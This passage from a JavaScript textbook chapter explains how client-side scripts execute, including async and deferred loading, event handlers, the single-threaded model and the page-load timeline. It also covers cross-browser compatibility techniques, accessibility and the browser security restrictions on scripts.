13.3 Execution of JavaScript Programs

There is no formal definition of a *program* in client-side JavaScript. We can say that a JavaScript program consists of all the JavaScript code in a web page (inline scripts, HTML event handlers, and `javascript:` URLs) along with external JavaScript code referenced with the `src` attribute of a `<script>` tag. All of these separate bits of code share a single global Window object. That means that they all see the same Document object, and they share the same set of global functions and variables: if a script defines a new global variable or function, that variable or function will be visible to any JavaScript code that runs after the script does.

If a web page includes an embedded frame (using the `<iframe>` element), the JavaScript code in the embedded document has a different global object than the code in the embedding document, and it can be considered a separate JavaScript program. Remember, though, that there is no formal definition of what the boundaries of a JavaScript program are. If the container document and the contained document are from the same server, the code in one document can interact with the code in the other, and you can treat them as two interacting parts of a single program, if you wish. §14.8.3 explains more about the global Window object and the interactions between programs in separate windows and frames.

`javascript:` URLs in bookmarklets exist outside of any document and can be thought of as a kind of user extension or modification to other programs. When the user runs a bookmarklet, the bookmarked JavaScript code is given access to the global object and content of the current document and can manipulate it as desired.

JavaScript program execution occurs in two phases. In the first phase, the document content is loaded and the code from `<script>` elements (both inline scripts and external

scripts) is run. Scripts generally (but not always; see §13.3.1) run in the order in which they appear in the document. The JavaScript code within any single script is run from top to bottom, in the order that it appears, subject, of course, to JavaScript's conditionals, loops, and other control statements.

Once the document is loaded and all scripts have run, JavaScript execution enters its second phase. This phase is asynchronous and event-driven. During this event-driven phase, the web browser invokes event handler functions (defined by HTML event handler attributes, by scripts executed in the first phase, or by previously invoked event handlers) in response to events that occur asynchronously. Event handlers are most commonly invoked in response to user input (mouse clicks, keystrokes, etc.) but may also be triggered by network activity, elapsed time, or errors in JavaScript code. Events and event handlers are described in detail in Chapter 17. We'll also have more to say about them in §13.3.2. Note that `javascript:` URLs embedded in a web page can be thought of as a type of event handler, since they have no effect until activated by a user input event such as clicking on a link or submitting a form.

One of the first events that occurs during the event-driven phase is the load event, which indicates that the document is fully loaded and ready to be manipulated. JavaScript programs often use this event as a trigger or starting signal. It is common to see programs whose scripts define functions but take no action other than defining an `onload` event handler function to be triggered by the load event at the beginning of the event-driven phase of execution. It is this onload handler that then manipulates the document and does whatever it is that the program is supposed to do. The loading phase of a JavaScript program is relatively short, typically lasting only a second or two. Once the document is loaded, the event-driven phase lasts for as long as the document is displayed by the web browser. Because this phase is asynchronous and event-driven, there may be long periods of inactivity, where no JavaScript is executed, punctuated by bursts of activity triggered by user or network events. §13.3.4 covers the two phases of JavaScript execution in more detail.

Both core JavaScript and client-side JavaScript have a single-threaded execution model. Scripts and event handlers are (or must appear to be) executed one at a time without concurrency. This keeps JavaScript programming simple and is discussed in §13.3.3.

13.3.1 Synchronous, Asynchronous, and Deferred Scripts

When JavaScript was first added to web browsers, there was no API for traversing and manipulating the structure and content of a document. The only way that JavaScript code could affect the content of a document was to generate that content on the fly while the document was loading. It did this using the `document.write()` method. Example 13-3 shows what state-of-the-art JavaScript code looked like in 1996.

Example 13-3. Generating document content at load time

```
<h1>Table of Factorials</h1>
<script>
function factorial(n) {                // A function to compute factorials
```


Download from Wow! eBook <www.wowebook.com>

```
    if (n <= 1) return n;
    else return n*factorial(n-1);
}

document.write("<table>");                          // Begin an HTML table
document.write("<tr><th>n</th><th>n!</th></tr>");  // Output table header
for(var i = 1; i <= 10; i++) {                      // Output 10 rows
    document.write("<tr><td>" + i + "</td><td>" + factorial(i) + "</td></tr>");
}
document.write("</table>");                         // End the table
document.write("Generated at " + new Date());       // Output a timestamp
</script>
```

When a script passes text to `document.write()`, that text is added to the document input stream, and the HTML parser behaves as if the script element had been replaced by that text. The use of `document.write()` is no longer considered good style, but it is still possible (see §15.10.2) and this fact has an important implication. When the HTML parser encounters a `<script>` element, it must, by default, run the script before it can resume parsing and rendering the document. This is not much of a problem for inline scripts, but if the script source code is in an external file specified with a `src` attribute, this means that the portions of the document that follow the script will not appear in the browser until the script has been downloaded and executed.

This *synchronous* or *blocking* script execution is the default only. The `<script>` tag can have `defer` and `async` attributes, which (in browsers that support them) cause scripts to be executed differently. These are boolean attributes—they don't have a value; they just need to be present on the `<script>` tag. HTML5 says that these attributes are only meaningful when used in conjunction with the `src` attribute, but some browsers may support deferred inline scripts as well:

```
<script defer src="deferred.js"></script>
<script async src="async.js"></script>
```

Both the `defer` and `async` attributes are ways of telling the browser that the linked script does not use `document.write()` and won't be generating document content, and that therefore the browser can continue to parse and render the document while downloading the script. The `defer` attribute causes the browser to defer execution of the script until after the document has been loaded and parsed and is ready to be manipulated. The `async` attribute causes the browser to run the script as soon as possible but not to block document parsing while the script is being downloaded. If a `<script>` tag has both attributes, a browser that supports both will honor the `async` attribute and ignore the `defer` attribute.

Note that deferred scripts run in the order in which they appear in the document. Async scripts run as they load, which means that they may execute out of order.

At the time of this writing, the `async` and `defer` attributes are not yet widely implemented, and they should be considered optimization hints only: your web pages should be designed to work correctly even if deferred and asynchronous scripts are executed synchronously.

You can load and execute scripts asynchronously, even in browsers that do not support the `async` attribute, by dynamically creating a `<script>` element and inserting it into the document. The `loadasync()` function shown in Example 13-4 does this. The techniques it uses are explained in Chapter 15.

Example 13-4. Asynchronously loading and executing a script

```
// Asynchronously load and execute a script from a specified URL
function loadasync(url) {
    var head = document.getElementsByTagName("head")[0]; // Find document <head>
    var s = document.createElement("script");  // Create a <script> element
    s.src = url;                               // Set its src attribute
    head.appendChild(s);                       // Insert the <script> into head
}
```

Notice that this `loadasync()` function loads scripts dynamically—scripts that are neither included inline within the web page nor referenced statically from the web page are loaded into the document and become part of the running JavaScript program.

13.3.2 Event-Driven JavaScript

The ancient JavaScript program shown in Example 13-3 is a synchronous one: it starts running when the page loads, produces some output, and then terminates. This kind of program is very uncommon today. Instead, we write programs that register event handler functions. These functions are then invoked asynchronously when the events for which they were registered occur. A web application that wants to enable keyboard shortcuts for common actions would register an event handler for key events, for example. Even noninteractive programs use events. Suppose you wanted to write a program that would analyze the structure of its document and automatically generate a table of contents for the document. No event handlers for user input events are necessary, but the program would still register an `onload` event handler so that it would know when the document had finished loading and was ready to have a table of contents generated.

Events and event handling are the subject of Chapter 17, but this section will provide a quick overview. Events have a name, such as "click", "change", "load", "mouseover", "keypress", or "readystatechange", that indicates the general type of event that has occurred. Events also have a *target*, which is the object on which they occurred. When we speak of an event, we must specify both the event type (the name) and the target: a click event on an HTMLButtonElement object, for example, or a readystatechange event on an XMLHttpRequest object.

If we want our program to respond to an event, we write a function known as an "event handler," "event listener," or sometimes just a "callback." We then register this function so that it is invoked when the event occurs. As noted earlier, this can be done using HTML attributes, but this kind of mixing of JavaScript code with HTML content is discouraged. Instead, the simplest way to register an event handler is usually to assign a JavaScript function to a property of the target object, with code like this:

```
window.onload = function() { ... };
document.getElementById("button1").onclick = function() { ... };
function handleResponse() { ... }
request.onreadystatechange = handleResponse;
```

Notice that event handler properties have names that, by convention, begin with "on" and are followed by the name of the event. Also notice that there are no function invocations in any of the code above: we're assigning functions themselves to these properties. The browser will perform the invocation when the events occur. Asynchronous programming with events often involves nested functions and it is not uncommon to end up writing code that defines functions within functions within functions.

In most browsers, for most kinds of events, event handlers are passed an object as an argument, and the properties of this object provide details about the event. The object passed to a click event, for example, would have a property that specified which mouse button was clicked. (In IE, these event details are stored in the global `event` object instead of being passed to the handler function.) The return value of an event handler is sometimes used to indicate whether the function has sufficiently handled the event and to prevent the browser from performing whatever default action it would otherwise take.

Events whose targets are elements in a document often propagate up the document tree in a process known as "bubbling." If the user clicks the mouse on a `<button>` element, for example, a click event is fired on the button. If that event is not handled (and its propagation stopped) by a function registered on the button, the event bubbles up to whatever element the button is nested within, and any click event handler registered on that container element will be invoked.

If you need to register more than one event handler function for a single event, or if you want to write a module of code that can safely register event handlers even if another module has already registered a handler for the same event on the same target, you have to use another event handler registration technique. Most objects that can be event targets have a method named `addEventListener()`, which allows the registration of multiple listeners:

```
window.addEventListener("load", function() {...}, false);
request.addEventListener("readystatechange", function() {...}, false);
```

Note that the first argument to this function is the name of the event. Although `addEventListener()` has been standardized for over a decade, Microsoft is only now implementing it for IE9. In IE8 and earlier, you must use a similar method, named `attachEvent()`:

```
window.attachEvent("onload", function() {...});
```

See Chapter 17 for more on `addEventListener()` and `attachEvent()`.

Client-side JavaScript programs also use other kinds of asynchronous notification that are not, technically speaking, events. If you set the `onerror` property of the Window object to a function, that function will be invoked when a JavaScript error (or any

uncaught exception) occurs (see §14.6). Also, the `setTimeout()` and `setInterval()` functions (these are methods of the Window object and therefore global functions of client-side JavaScript) trigger the invocation of a specified function after a specified amount of time. The functions passed to `setTimeout()` are registered differently than true event handlers, and they are usually called "callbacks" instead of "handlers," but they are asynchronous just as event handlers are. See §14.1 for more on `setTimeout()` and `setInterval()`.

Example 13-5 demonstrates `setTimeout()`, `addEventListener()`, and `attachEvent()` to define an `onLoad()` function that registers a function to be run when the document finishes loading. `onLoad()` is a very useful function, and we'll use it in examples throughout the rest of this book.

Example 13-5. onLoad(): invoke a function when the document loads

```
// Register the function f to run when the document finishes loading.
// If the document has already loaded, run it asynchronously ASAP.
function onLoad(f) {
    if (onLoad.loaded)                  // If document is already loaded
        window.setTimeout(f, 0);        // Queue f to be run as soon as possible
    else if (window.addEventListener)   // Standard event registration method
        window.addEventListener("load", f, false);
    else if (window.attachEvent)        // IE8 and earlier use this instead
        window.attachEvent("onload", f);
}
// Start by setting a flag that indicates that the document is not loaded yet.
onLoad.loaded = false;
// And register a function to set the flag when the document does load.
onLoad(function() { onLoad.loaded = true; });
```

13.3.3 Client-Side JavaScript Threading Model

The core JavaScript language does not contain any threading mechanism, and client-side JavaScript has traditionally not defined any either. HTML5 defines "WebWorkers" which serve as a kind of a background thread (more on web workers follows), but client-side JavaScript still behaves as if it is strictly single-threaded. Even when concurrent execution is possible, client-side JavaScript cannot ever detect the fact that it is occurring.

Single-threaded execution makes for much simpler scripting: you can write code with the assurance that two event handlers will never run at the same time. You can manipulate document content knowing that no other thread is attempting to modify it at the same time, and you never need to worry about locks, deadlock, or race conditions when writing JavaScript code.

Single-threaded execution means that web browsers must stop responding to user input while scripts and event handlers are executing. This places a burden on JavaScript programmers: it means that JavaScript scripts and event handlers must not run for too long. If a script performs a computationally intensive task, it will introduce a delay into document loading, and the user will not see the document content until the script

completes. If an event handler performs a computationally intensive task, the browser may become nonresponsive, possibly causing the user to think that it has crashed.[2]

If your application must perform enough computation to cause a noticeable delay, you should allow the document to load fully before performing that computation, and you should be sure to notify the user that computation is underway and that the browser is not hung. If it is possible to break your computation down into discrete subtasks, you can use methods such as `setTimeout()` and `setInterval()` to run the subtasks in the background while updating a progress indicator that displays feedback to the user.

HTML5 defines a controlled form of concurrency called a "web worker." A web worker is a background thread for performing computationally intensive tasks without freezing the user interface. The code that runs in a web worker thread does not have access to document content, does not share any state with the main thread or with other workers, and can only communicate with the main thread and other workers through asynchronous events, so the concurrency is not detectable to the main thread, and web workers do not alter the basic single-threaded execution model of JavaScript programs. See §22.4 for full details on web workers.

13.3.4 Client-Side JavaScript Timeline

We've already seen that JavaScript programs begin in a script execution phase and then transition to an event-handling phase. This section explains the timeline of JavaScript program execution in more detail.

1. The web browser creates a Document object and begins parsing the web page, adding Element objects and Text nodes to the document as it parses HTML elements and their textual content. The `document.readyState` property has the value "loading" at this stage.
2. When the HTML parser encounters `<script>` elements that have neither the `async` nor `defer` attributes, it adds those elements to the document and then executes the inline or external script. These scripts are executed synchronously, and the parser pauses while the script downloads (if necessary) and runs. Scripts like these can use `document.write()` to insert text into the input stream. That text will become part of the document when the parser resumes. Synchronous scripts often simply define functions and register event handlers for later use, but they can traverse and manipulate the document tree as it exists when they run. That is, synchronous scripts can see their own `<script>` element and document content that comes before it.
3. When the parser encounters a `<script>` element that has the `async` attribute set, it begins downloading the script text and continues parsing the document. The script will be executed as soon as possible after it has downloaded, but the parser does not stop and wait for it to download. Asynchronous scripts must not use the

2. Some browsers guard against denial-of-service attacks and accidental infinite loops by prompting the user if a script or event handler takes too long to run. This gives the user the chance to abort a runaway script.

`document.write()` method. They can see their own `<script>` element and all document elements that come before it, and may or may not have access to additional document content.

4. When the document is completely parsed, the `document.readyState` property changes to "interactive".
5. Any scripts that had the `defer` attribute set are executed, in the order in which they appeared in the document. Async scripts may also be executed at this time. Deferred scripts have access to the complete document tree and must not use the `document.write()` method.
6. The browser fires a DOMContentLoaded event on the Document object. This marks the transition from synchronous script execution phase to the asynchronous event-driven phase of program execution. Note, however, that there may still be `async` scripts that have not yet executed at this point.
7. The document is completely parsed at this point, but the browser may still be waiting for additional content, such as images, to load. When all such content finishes loading, and when all `async` scripts have loaded and executed, the `document.readyState` property changes to "complete" and the web browser fires a load event on the Window object.
8. From this point on, event handlers are invoked asynchronously in response to user input events, network events, timer expirations, and so on.

This is an idealized timeline and all browsers do not support all of its details. The load event is universally supported: all browsers fire it, and it is the most common technique for determining that the document is completely loaded and ready to manipulate. The DOMContentLoaded event fires before the load event and is supported by all current browsers except IE. The `document.readyState` property is implemented by most browsers at the time of this writing, but the values of this property differ slightly from browser to browser. The `defer` attribute is supported by all current versions of IE, but it is only now being implemented by other browsers. Support for the `async` attribute is not yet common at the time of this writing, but asynchronous script execution via the technique shown in Example 13-4 is supported by all current browsers. (Notice, though, that the ability to dynamically load scripts with functions like `loadasync()` blurs the boundary between the script loading and event-driven phases of program execution.)

This timeline does not specify when the document becomes visible to the user or when the web browser must start responding to user input events. Those are implementation details. For very long documents or very slow network connections, it is theoretically possible that a web browser will render part of a document and allow the user to start interacting with it before all the scripts have executed. In that case, user input events might be fired before the event-driven phase of program execution has formally started.

13.4 Compatibility and Interoperability

The web browser is the operating system for web apps, but the web is a heterogeneous environment and your web documents and applications will be viewed and run in browsers of different ages (from cutting-edge beta releases to decade-old browsers like IE6) from different vendors (Microsoft, Mozilla, Apple, Google, Opera) running on different operating systems (Windows, Mac OS, Linux, iPhone OS, Android). It is challenging to write nontrivial client-side JavaScript programs that run correctly on such a wide variety of platforms.

Client-side JavaScript compatibility and interoperability issues fall into three general categories:

Evolution

The web platform is always evolving and expanding. A standards body proposes a new feature or API. If the feature seems useful, browser vendors implement it. If enough vendors implement it interoperably, developers begin to use and depend on the feature, and it secures a permanent place in the web platform. Sometimes browser vendors and web developers take the lead and standards bodies write the official version well after the feature is already a de facto standard. In either case, a new feature has been added to the Web. New browsers support it and old browsers do not. Web developers are pulled between wanting to use powerful new features and wanting their web pages to be usable by the largest number of visitors—even those who are not using the latest browsers.

Nonimplementation

Sometimes browser vendors differ in their opinions of whether a particular feature is useful enough to implement. Some vendors implement it and others do not. This is not a matter of current browsers with the feature versus older browsers without it, but a matter of browser implementors who prioritized the feature versus those who did not. IE8, for example, does not support the `<canvas>` element, though all other browsers have embraced it. A more egregious example is Microsoft's decision not to implement the DOM Level 2 Events specification (which defines `addEventListener()` and related methods). This specification was standardized almost a decade ago, and other browser vendors have long since supported it.[3]

Bugs

Every browser has bugs, and none implement all of the client-side JavaScript APIs exactly as specified. Sometimes, writing compatible client-side JavaScript code is a matter of being aware of, and knowing how to work around, the bugs in existing browsers.

Fortunately, the JavaScript language itself is interoperably implemented by all browser vendors and is not a source of compatibility problems. All browsers have interoperable implementations of ES3, and, at the time of this writing, all vendors are working on

3. To Microsoft's credit, IE9 now supports both the `<canvas>` element and the `addEventListener()` method.

implementing ES5. The transition between ES3 and ES5 may be the source of compatibility problems, because some browsers will support strict mode while others do not, but the expectation is that browser vendors will implement ES5 interoperably.

The first step in addressing compatibility issues in client-side JavaScript is to be aware of what those issues are. The web browser release cycle is about three times as rapid as the release cycle for this book, which means that this book cannot reliably tell you which versions of which browser implement which features, much less describe the bugs in or the quality of implementation of the features in various browsers. Details like this are best left to the Web. The HTML5 standardization effort aims to eventually produce a test suite. At the time of this writing, no such tests exist, but once they do, they ought to provide a wealth of browser compatibility information. In the meantime, here are some websites you might find useful:

https://developer.mozilla.org
: The Mozilla Developer Center

http://msdn.microsoft.com
: The Microsoft Developer Network

http://developer.apple.com/safari
: The Safari Dev Center at the Apple Developer Connection

http://code.google.com/doctype
: Google describes its Doctype project as "an encyclopedia of the open web." This user-editable site includes extensive compatibility tables for client-side JavaScript. At the time of this writing, these tables report only on the existence of various properties and methods in each browser: they do not actually say whether those features work correctly.

http://en.wikipedia.org/wiki/Comparison_of_layout_engines_(HTML_5)
: A Wikipedia article tracking the implementation status of HTML5 features and APIs in various browsers.

http://en.wikipedia.org/wiki/Comparison_of_layout_engines_(Document_Object_Model)
: A similar article that tracks the implementation status of DOM features.

http://a.deveria.com/caniuse
: The "When can I use..." website tracks the implementation status of important web features, allows them to be filtered according to various criteria, and recommends their use once there are few remaining deployed browsers that do not support the feature.

http://www.quirksmode.org/dom
: Tables that list the compatibility of various browsers with the W3C DOM.

http://webdevout.net/browser-support
: Another site that attempts to track the implementation of web standards by browser vendors.

Note that the last three sites listed are maintained by individuals. Despite the dedication of these client-side JavaScript heroes, these sites may not always be up to date.

Awareness of the incompatibilities between browsers is only the first step, of course. Next, you must decide how to address the incompatibilities. One strategy is to restrict yourself to using only those features that are universally supported (or easily emulated) by all of the browsers that you choose to support. The "When can I use..." website mentioned previously (*http://a.deveria.com/caniuse*) is based around this strategy: it lists a number of features that will become usable as soon as IE6 has been phased out and no longer has a significant market share. The subsections that follow explain a few less passive strategies you can use to work around client-side incompatibilities.

A Word about "Current Browsers"

Client-side JavaScript is a moving target, especially with the advent of ES5 and HTML5. Because the platform is evolving rapidly, I shy away from making narrow statements about particular versions of particular browsers: any such claims are likely to be outdated well before a new edition of this book appears. You'll find, therefore, that I often hedge my statements with purposely vague language like "all current browsers" (or sometimes "all current browsers except IE"). To put this in context, while I was writing this chapter, the current (non-beta) browsers were:

- Internet Explorer 8
- Firefox 3.6
- Safari 5
- Chrome 5
- Opera 10.10

When this book reaches bookstores, the current browsers will likely be Internet Explorer 9, Firefox 4, Safari 5, Chrome 11, and Opera 11.

This is not a guarantee that every statement in this book about "current browsers" is true for each of these specific browsers. However, it allows you to know what browsers were current technology when this book was written.

The fifth edition of this book used the phrase "modern browsers" instead of "current browsers." That edition was published in 2006, when the current browsers were Firefox 1.5, IE6, Safari 2, and Opera 8.5 (the Chrome browser from Google did not exist yet). Any references to "modern browsers" remaining in this book can now be taken to mean "all browsers," since browsers older than those are now quite rare.

Many of the newest client-side features described in this book (in Chapter 22 particularly) are not yet implemented by all browsers. The features that I've chosen to document in this edition are being developed under an open standards process, have been implemented in at least one released browser, are under development in at least one more, and seem likely to be adopted by all browser vendors (with the possible exception of Microsoft).

13.4.1 Compatibility Libraries

One of the easiest ways to deal with incompatibilities is to use libraries of code that work around them for you. Consider the `<canvas>` element for client-side graphics (the topic of Chapter 21), for example. IE is the only current browser that does not support this feature. It does support an obscure proprietary client-side graphics language called VML, however, and the canvas element can be emulated on top of that. The open source "explorercanvas" project at *http://code.google.com/p/explorercanvas* has released a library that does just that: you include a single file of JavaScript code named *excanvas.js* and IE will behave as if it supports the `<canvas>` element.

excanvas.js is a particularly pure example of a compatibility library. It is possible to write similar libraries for certain features. The ES5 Array methods (§7.9), such as `forEach()`, `map()`, and `reduce()`, can be almost perfectly emulated in ES3, and by adding the appropriate library to your pages, you can treat these powerfully useful methods as part of the baseline platform of all browsers.

Sometimes, however, it is not possible to completely (or efficiently) implement a feature on browsers that do not support it. As already mentioned, IE is the only browser that does not implement the standard event-handling API, including the `addEventListener()` method for registering event handlers. IE supports a similar method called `attachEvent()`. `attachEvent()` is not as powerful as `addEventListener()` and it is not really feasible to transparently implement the entire standard on top of what IE offers. Instead, developers sometimes define a compromise event handling method—often called `addEvent()`—that can be portably implemented using either `addEventListener()` or `attachEvent()`. Then, they write all their code to use `addEvent()` instead of either `addEventListener()` or `attachEvent()`.

In practice, many web developers today use client-side JavaScript frameworks such as jQuery (see Chapter 19) on all their web pages. One of the functions that makes these frameworks so indispensable is that they define a new client-side API and implement it compatibly for you across all browsers. In jQuery, for example, event handler registration is done with a method named `bind()`. If you adopt jQuery for all your web development, you'll never need to think about the incompatibilities between `addEventListener()` and `attachEvent()`. See §13.7 for more on client-side frameworks.

13.4.2 Graded Browser Support

Graded browser support is a testing and QA technique pioneered and championed by Yahoo! that brings some sanity to the otherwise unmanageable proliferation of vendor/version/OS browser variants. Briefly, graded browser support involves choosing "A-grade" browsers that receive full support and testing and identifying "C-grade" browsers that are not powerful enough. A-grade browsers get full-featured web pages, and C-grade browsers are served minimal HTML-only versions of the pages that require no JavaScript or CSS. Browsers that are not A-grade or C-grade are called X-grade: these are usually brand-new or particularly rare browsers. They are assumed to be capable

and are served the full-featured web pages, but they are not officially supported or tested.

You can read more about Yahoo!'s system of graded browser support at *http://developer.yahoo.com/yui/articles/gbs*. That web page also includes Yahoo!'s current list of A-grade and C-grade browsers (the list is updated quarterly). Even if you don't adopt graded browser support techniques yourself, Yahoo!'s list of A-grade browsers is a useful way to determine which browsers are current and have significant market share.

13.4.3 Feature Testing

Feature testing (sometimes called *capability testing*) is a powerful technique for coping with incompatibilities. If you want to use a feature or capability that may not be supported by all browsers, include code in your script that tests to see whether that feature is supported. If the desired feature is not supported on the current platform, either do not use it on that platform or provide alternative code that works on all platforms.

You'll see feature testing again and again in the chapters that follow. In Chapter 17, for example, we use code that looks like this:

```
if (element.addEventListener) { // Test for this W3C method before using it
    element.addEventListener("keydown", handler, false);
    element.addEventListener("keypress", handler, false);
}
else if (element.attachEvent) { // Test for this IE method before using it
    element.attachEvent("onkeydown", handler);
    element.attachEvent("onkeypress", handler);
}
else {  // Otherwise, fall back on a universally supported technique
    element.onkeydown = element.onkeypress = handler;
}
```

The important thing about the feature-testing technique is that it results in code that is not tied to a specific list of browser vendors or browser version numbers. It works with the set of browsers that exists today and should continue to work with future browsers, whatever feature sets they implement. Note, however, that it requires browser vendors not to define a property or method unless that property or method is fully functional. If Microsoft were to define an `addEventListener()` method that only partially implemented the W3C specification, it would break a lot of code that uses feature testing before calling `addEventListener()`.

13.4.4 Quirks Mode and Standards Mode

When Microsoft released IE6, it added support for a number of standard CSS features that were not supported in IE5. In order to ensure backward compatibility with existing web content, however, it had to define two distinct rendering modes. In "standards mode" or "CSS compatibility mode," the browser would follow CSS standards. In "quirks mode," the browser would behave in the quirky nonstandard manner that IE4 and IE5 had. The choice of rendering modes depended on the `DOCTYPE` declaration at

the top of the HTML file. Pages with no DOCTYPE at all and pages that declared certain permissive doctypes that were in common use during the IE5 era were rendered in quirks mode. Pages with strict doctypes (or, for forward compatibility, pages with unrecognized doctypes) were rendered in standards mode. Pages with an HTML5 doctype (`<!DOCTYPE html>`) are rendered in standards mode in all modern browsers.

This distinction between quirks mode and standards mode has stood the test of time. New versions of IE still implement it, other modern browsers do too, and the existence of these two modes is recognized by the HTML5 specification. The differences between quirks mode and standards mode usually matter most to people writing HTML and CSS. But client-side JavaScript code sometimes needs to know which mode a document is rendered in. To perform this kind of rendering mode feature testing, check the `document.compatMode` property. If it has the value "CSS1Compat," the browser is using standards mode. If the value is "BackCompat" (or `undefined` if the property doesn't exist at all), the browser is using quirks mode. All modern browsers implement the `compatMode` property, and the HTML5 specification standardizes it.

It is not often necessary to test `compatMode`. Example 15-8 illustrates one case where this test is necessary, however.

13.4.5 Browser Testing

Feature testing is well suited to checking for support of large functional areas. You can use it to determine whether a browser supports the W3C event-handling model or the IE event-handling model, for example. On the other hand, sometimes you may need to work around individual bugs or quirks in a particular browser, and there may be no easy way to test for the existence of the bug. In this case, you need to create a platform-specific workaround that is tied to a particular browser vendor, version, or operating system (or some combination of the three).

The way to do this in client-side JavaScript is with the Navigator object, which you'll learn about in Chapter 14. Code that determines the vendor and version of the current browser is often called a *browser sniffer* or a *client sniffer*. A simple example is shown in Example 14-3. Client sniffing was a common programming technique in the early days of the Web, when the Netscape and IE platforms were incompatible and diverging. Client sniffing has now fallen out of favor and should be used only when absolutely necessary.

Note that client sniffing can be done on the server side as well, with the web server choosing what JavaScript code to send based on how the browser identifies itself in its `User-Agent` header.

13.4.6 Conditional Comments in Internet Explorer

In practice, you'll find that many of the incompatibilities in client-side JavaScript programming turn out to be IE-specific. That is, you must write code in one way for IE and in another way for all other browsers. IE supports conditional comments

(introduced in IE5) that are completely nonstandard but can be quite useful for working around incompatibilities.

Here is what IE's conditional comments look like in HTML. Notice the tricks played with the closing delimiter of HTML comments:

```
<!--[if IE 6]>
This content is actually inside an HTML comment.
It will only be displayed in IE 6.
<![endif]-->

<!--[if lte IE 7]>
This content will only be displayed by IE 5, 6 and 7 and earlier.
lte stands for "less than or equal".  You can also use "lt", "gt" and "gte".
<![endif]-->

<!--[if !IE]> <-->
This is normal HTML content, but IE will not display it
because of the comment above and the comment below.
<--> <![endif]-->

This is normal content, displayed by all browsers.
```

As a concrete example, consider the *excanvas.js* library described above to implement the `<canvas>` element in Internet Explorer. Since this library is required only in IE (and works only in IE), it is reasonable to include it on your pages within a conditional comment so that other browsers never load it:

```
<!--[if IE]><script src="excanvas.js"></script><![endif]-->
```

Conditional comments are also supported by IE's JavaScript interpreter, and C and C++ programmers may find them similar to the `#ifdef/#endif` functionality of the C preprocessor. A JavaScript conditional comment in IE begins with the text `/*@cc_on` and ends with the text `@*/`. (The `cc` in `cc_on stands` for conditional compilation.) The following conditional comment includes code that is executed only in IE:

```
/*@cc_on
  @if (@_jscript)
    // This code is inside a JS comment but is executed in IE.
    alert("In IE");
  @end
  @*/
```

Inside a conditional comment, the keywords `@if`, `@else`, and `@end` delimit the code that is to be conditionally executed by IE's JavaScript interpreter. Most of the time, you need only the simple conditional shown above: `@if (@_jscript)`. JScript is Microsoft's name for its JavaScript interpreter, and the `@_jscript` variable is always `true` in IE.

With clever interleaving of conditional comments and regular JavaScript comments, you can set up one block of code to run in IE and a different block to run in all other browsers:

```
/*@cc_on
  @if (@_jscript)
```

```
    // This code is inside a conditional comment, which is also a
    // regular JavaScript comment. IE runs it but other browsers ignore it.
    alert('You are using Internet Explorer);
  @else*/
    // This code is no longer inside a JavaScript comment, but is still
    // inside the IE conditional comment.  This means that all browsers
    // except IE will run this code.
    alert('You are not using Internet Explorer');
/*@end
  @*/
```

13.5 Accessibility

The Web is a wonderful tool for disseminating information, and JavaScript programs can enhance access to that information. JavaScript programmers must be careful, however: it is easy to write JavaScript code that inadvertently denies information to visitors with visual or physical handicaps.

Blind users may use a form of "assistive technology" known as a screen reader to convert written words to spoken words. Some screen readers are JavaScript-aware, and others work best when JavaScript is turned off. If you design a website that requires JavaScript to display its information, you exclude the users of these screen readers. (And you have also excluded anyone who intentionally disables JavaScript in her browser.) The proper role of JavaScript is to enhance the presentation of information, not to take over the presentation of that information. A cardinal rule of JavaScript accessibility is to design your code so that the web page on which it is used will still function (at least in some form) with the JavaScript interpreter turned off.

Another important accessibility concern is for users who can use the keyboard but cannot use (or choose not to use) a pointing device such as a mouse. If you write JavaScript code that relies on mouse-specific events, you exclude users who do not use the mouse. Web browsers allow keyboard traversal and activation of UI elements within a web page, and your JavaScript code should as well. As shown in Chapter 17, JavaScript supports device-independent events, such as `onfocus` and `onchange`, as well as device-dependent events, such as `onmouseover` and `onmousedown`. For accessibility, you should favor the device-independent events whenever possible.

Creating accessible web pages is a nontrivial problem and a full discussion of accessibility is beyond the scope of this book. Web application developers who are concerned about accessibility should familiarize themselves with the WAI-ARIA (Web Accessibility Initiative–Accessible Rich Internet Applications) standards at *http://www.w3.org/WAI/intro/aria*.

13.6 Security

The introduction of JavaScript interpreters into web browsers means that loading a web page can cause arbitrary JavaScript code to be executed on your computer. This

has clear security implications, and browser vendors have worked hard to balance two competing goals:

- Defining powerful client-side APIs to enable useful web applications.
- Preventing malicious code from reading or altering your data, compromising your privacy, scamming you, or wasting your time.

As in many fields, JavaScript security has evolved through an interactive and ongoing process of exploits and patches. In the early days of the Web, browsers added features like the ability to open, move, and resize windows and to script the browser's status line. When unethical advertisers and scammers started abusing these features, browser makers had to restrict or disable those APIs. Today, in the process of standardizing HTML5, browser vendors are carefully (and openly and collaboratively) lifting certain long-standing security restrictions and adding quite a bit of power to client-side JavaScript while (hopefully) not introducing any new security holes.

The subsections below introduce the JavaScript security restrictions and security issues that you, as a web developer, need to be aware of.

13.6.1 What JavaScript Can't Do

Web browsers' first line of defense against malicious code is that they simply do not support certain capabilities. For example, client-side JavaScript does not provide any way to write or delete arbitrary files or list arbitrary directories on the client computer. This means a JavaScript program cannot delete data or plant viruses. (But see §22.6.5 to learn how JavaScript can read user-selected files and see §22.7 to learn how JavaScript can obtain a secure private filesystem within which it can read and write files.)

Similarly, client-side JavaScript does not have any general-purpose networking capabilities. A client-side JavaScript program can script the HTTP protocol (see Chapter 18). And another HTML5-affiliated standard, known as WebSockets, defines a socket-like API for communicating with specialized servers. But neither of these APIs allows unmediated access to the wider network. General-purpose Internet clients and servers cannot be written in client-side JavaScript.

Browsers' second line of defense against malicious code is that they impose restrictions on the use of certain features that they do support. The following are some restricted features:

- A JavaScript program can open new browser windows, but, to prevent pop-up abuse by advertisers, most browsers restrict this feature so that it can happen only in response to a user-initiated event, such as a mouse click.
- A JavaScript program can close browser windows that it opened itself, but it is not allowed to close other windows without user confirmation.

- The `value` property of HTML FileUpload elements cannot be set. If this property could be set, a script could set it to any desired filename and cause the form to upload the contents of any specified file (such as a password file) to the server.
- A script cannot read the content of documents loaded from different servers than the document that contains the script. Similarly, a script cannot register event listeners on documents from different servers. This prevents scripts from snooping on the user's input (such as the keystrokes that constitute a password entry) to other pages. This restriction is known as the *same-origin policy* and is described in more detail in the next section.

Note that this is not a definitive list of client-side JavaScript restrictions. Different browsers have different security policies and may implement different API restrictions. Some browsers may also allow restrictions to be strengthened or weakened through user preferences.

13.6.2 The Same-Origin Policy

